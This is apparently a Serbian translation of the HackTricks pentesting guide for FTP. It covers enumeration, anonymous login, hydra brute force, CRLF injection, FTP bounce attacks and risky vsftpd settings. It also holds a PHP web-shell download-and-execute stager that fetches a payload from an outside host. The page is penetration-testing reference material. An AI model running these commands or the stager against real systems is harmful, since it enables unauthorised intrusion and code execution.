21 - Pentesting FTP
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
File Transfer Protocol (FTP) služi kao standardni protokol za prenos fajlova preko računarske mreže između servera i klijenta.
To je plain-text protokol koji koristi kao karakter novog reda 0x0d 0x0a, pa ponekad treba da se povežete koristeći telnet ili nc -C.
Podrazumevani port: 21
PORT STATE SERVICE
21/tcp open ftp
Veze Active & Passive
U Active FTP FTP client prvo inicira kontrolnu konekciju sa svog porta N ka komandnom portu FTP Servera – portu 21. Zatim client sluša na portu N+1 i šalje port N+1 FTP Serveru. FTP Server potom inicira data konekciju, sa svog porta M ka portu N+1 FTP Clienta.
Međutim, ako FTP Client ima firewall podešen koji kontroliše dolazne data konekcije iz spoljašnjosti, onda active FTP može predstavljati problem. Izvodljivo rešenje za to je Passive FTP.
U Passive FTP, client inicira kontrolnu konekciju sa svog porta N ka portu 21 FTP Servera. Nakon toga, client izvršava passv comand. Server potom šalje clientu jedan od svojih portova, broj M. I client inicira data konekciju sa svog porta P na port M FTP Servera.
Izvor: https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/
Otklanjanje grešaka konekcije
Komande FTP debug i trace mogu se koristiti da se vidi kako komunikacija protiče.
Enumeration
Banner Grabbing
nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
Povežite se na FTP koristeći starttls
lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password
Neautentifikovana enum
Sa nmap
sudo nmap -sV -p21 -sC -A 10.10.10.10
Možete koristiti komande HELP i FEAT да бисте добили неке информације о FTP серверу:
HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD XCWD CDUP XCUP SMNT* QUIT PORT PASV
214-EPRT EPSV ALLO* RNFR RNTO DELE MDTM RMD
214-XRMD MKD XMKD PWD XPWD SIZE SYST HELP
214-NOOP FEAT OPTS AUTH CCC* CONF* ENC* MIC*
214-PBSZ PROT TYPE STRU MODE RETR STOR STOU
214-APPE REST ABOR USER PASS ACCT* REIN* LIST
214-NLST STAT SITE MLSD MLST
214 Direct comments to root@drei.work
FEAT
211-Features:
PROT
CCC
PBSZ
AUTH TLS
MFF modify;UNIX.group;UNIX.mode;
REST STREAM
MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
UTF8
EPRT
EPSV
LANG en-US
MDTM
SSCN
TVFS
MFMT
SIZE
211 End
STAT
#Info about the FTP server (version, configs, status...)
Anonimni login
anonymous : anonymous
_anonymous :
_ftp : ftp
ftp <IP>
>anonymous
>anonymous
>ls -a # List all files (even hidden) (yes, they could be hidden)
>binary #Set transmission to binary instead of ascii
>ascii #Set transmission to ascii instead of binary
>bye #exit
Brute force
Ovde možete pronaći dobar spisak podrazumevanih FTP podataka za prijavu: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
Automatizovano
Anon login i bounce FTP checks se podrazumevano izvršavaju pomoću nmap-a sa opcijom -sC ili:
nmap --script ftp-* -p 21 <ip>
Povezivanje putem pregledača
Možete se povezati na FTP server pomoću pregledača (npr. Firefox) koristeći URL kao:
ftp://anonymous:anonymous@10.10.10.98
Imajte na umu da ako web application šalje podatke koje kontroliše korisnik directly to a FTP server, možete poslati double URL encode %0d%0a (u double URL encode ovo je %250d%250a) bajtove i naterati FTP server perform arbitrary actions. Jedna od ovih mogućih arbitrarnih akcija je preuzimanje sadržaja sa servera koji kontroliše korisnik, izvršavanje port skeniranja ili pokušaj komunikacije sa drugim plain-text baziranim servisima (kao http).
Preuzmite sve fajlove sa FTP
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
Ako vaš user/password sadrži specijalne karaktere, može se koristiti following command:
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
FTP root mapped to webroot (XAMPP)
- XAMPP/ProFTPD često mapira FTP root na
/opt/lampp/htdocs, pa slabe akreditive (weak creds) na servisnim nalozima kaodaemonilinobodyomogućavaju da upload a PHP web shell directly into the served webroot. - Nakon uploada, pokrenite architecture-aware download/exec stager preko shell-a, na primer:
webshell.php?dmc=(wget -qO - http://<compromised_host_ip>/.x/?x=x86 || curl http://<compromised_host_ip>/.x/?x=x86), koji preuzima payload potvrđen checksum-om, snima ga (npr.init_start), postavljachmod +xi pokreće ga. - Ako trenutni direktorijum nije zapisiv/izvršiv, stager se vraća na
/tmp, zato testirajte web putanje i permisije fajl sistema nakon uploada.
Some FTP commands
USER usernamePASS passwordHELPServer pokazuje koje su komande podržanePORT 127,0,0,1,0,80Ovo će naložiti FTP serveru da uspostavi konekciju sa IP 127.0.0.1 na portu 80 (treba staviti 5. karakter kao “0” i 6. kao port u decimalnom ili koristiti 5. i 6. da izraze port u hex-u).EPRT |2|127.0.0.1|80|Ovo će naložiti FTP serveru da uspostavi TCP konekciju (označeno sa “2”) sa IP 127.0.0.1 na portu 80. Ova komanda supports IPv6.LISTŠalje listu fajlova u trenutnom folderuLIST -RPrikazuje rekurzivno (ako server dozvoljava)APPE /path/something.txtOvom komandom se nalaže FTP da sačuva podatke primljene iz passive konekcije ili iz PORT/EPRT konekcije u fajl. Ako fajl postoji, dodaće podatke (append).STOR /path/something.txtPoputAPPE, ali će prepisati fajlSTOU /path/something.txtPoputAPPE, ali ako fajl postoji neće ništa uraditiRETR /path/to/filePotrebno je uspostaviti passive ili port konekciju. Zatim, FTP server će poslati naznačeni fajl kroz tu konekcijuREST 6Nalaže serveru da sledeći put kad šalje nešto koristećiRETRtreba da počne od 6. bajtaTYPE iPostavlja transfer na binarni režimPASVOtvara passive konekciju i naznačuje korisniku gde se može povezatiPUT /tmp/file.txtUpload-uje naznačeni fajl na FTP
.png)
FTPBounce attack
Neki FTP serveri dozvoljavaju komandu PORT. Ova komanda se može koristiti da se serveru kaže da treba da se poveže na drugi FTP server na nekom portu. Možete ovo iskoristiti da skenirate koji portovi na nekom hostu su otvoreni preko FTP servera.
Saznajte ovde kako zloupotrebiti FTP server za skeniranje portova.
Takođe biste mogli zloupotrebiti ovo ponašanje da naterate FTP server da interaguje sa drugim protokolima. Možete upload-ovati fajl koji sadrži HTTP request i naterati ranjivi FTP server da pošalje taj request proizvoljnom HTTP serveru (možda da doda novog admin korisnika?) ili čak upload-ovati FTP request i naterati ranjivi FTP server da preuzme fajl sa drugog FTP servera. Teorija je jednostavna:
- Upload-ujte request (u tekst fajlu) na ranjivi server. Zapamtite da ako želite da pričate sa drugim HTTP ili FTP serverom morate promeniti linije sa
0x0d 0x0a - Koristite
REST Xda izbegnete slanje karaktera koje ne želite poslati (možda ste morali staviti neki image header na početak fajla da biste upload-ovali request) - Koristite
PORTda se povežete na proizvoljni server i servis - Koristite
RETRda pošaljete sačuvani request tom serveru.
Vrlo je verovatno da će ovo baci grešku kao Socket not writable jer konekcija ne traje dovoljno da se podaci pošalju sa RETR. Predlozi za pokušaje da to izbegnete su:
- Ako šaljete HTTP request, stavite isti request jedan za drugim dok ne dostignete ~0.5MB barem. Ovako:
- Pokušajte da napunite request “junk” podacima koji su relativni protokolu (za FTP možda samo junk komande ili ponavljanje
RETRinstrukcije da se dobije fajl) - Jednostavno napunite request velikom količinom null karaktera ili drugih (podeljenih u linije ili ne)
U svakom slučaju, ovde imate stari primer kako zloupotrebiti ovo da naterate FTP server da preuzme fajl sa drugog FTP servera.
Ranljivost Filezilla Servera
FileZilla obično binduje lokalno administrativni servis za FileZilla-Server (port 14147). Ako možete napraviti tunel sa vaše mašine da pristupite ovom portu, možete se povezati na njega koristeći praznu lozinku i kreirati novog user-a za FTP servis.
Konfiguracioni fajlovi
ftpusers
ftp.conf
proftpd.conf
vsftpd.conf
Post-Exploitation
The default configuration of vsFTPd can be found in /etc/vsftpd.conf. In here, you could find some dangerous settings:
anonymous_enable=YESanon_upload_enable=YESanon_mkdir_write_enable=YESanon_root=/home/username/ftp- Direktorijum za anonimne korisnike.chown_uploads=YES- Menja vlasništvo anonimno otpremljenih fajlova.chown_username=username- Korisnik kojem se dodeljuje vlasništvo nad anonimno otpremljenim fajlovima.local_enable=YES- Omogućava lokalnim korisnicima da se prijave.no_anon_password=YES- Ne traži lozinku od anonimnih korisnika.write_enable=YES- Dozvoljava sledeće komande: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE i SITE
Shodan
ftpport:21
HackTricks Automatic Commands
Protocol_Name: FTP #Protocol Abbreviation if there is one.
Port_Number: 21 #Comma separated if there is more than one.
Protocol_Description: File Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for FTP
Note: |
Anonymous Login
-bi <<< so that your put is done via binary
wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
^^to download all dirs and files
wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html
Entry_2:
Name: Banner Grab
Description: Grab FTP Banner via telnet
Command: telnet -n {IP} 21
Entry_3:
Name: Cert Grab
Description: Grab FTP Certificate if existing
Command: openssl s_client -connect {IP}:21 -starttls ftp
Entry_4:
Name: nmap ftp
Description: Anon login and bounce FTP checks are performed
Command: nmap --script ftp-* -p 21 {IP}
Entry_5:
Name: Browser Connection
Description: Connect with Browser
Note: ftp://anonymous:anonymous@{IP}
Entry_6:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp
Entry_7:
Name: consolesless mfs enumeration ftp
Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'
Izvori
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


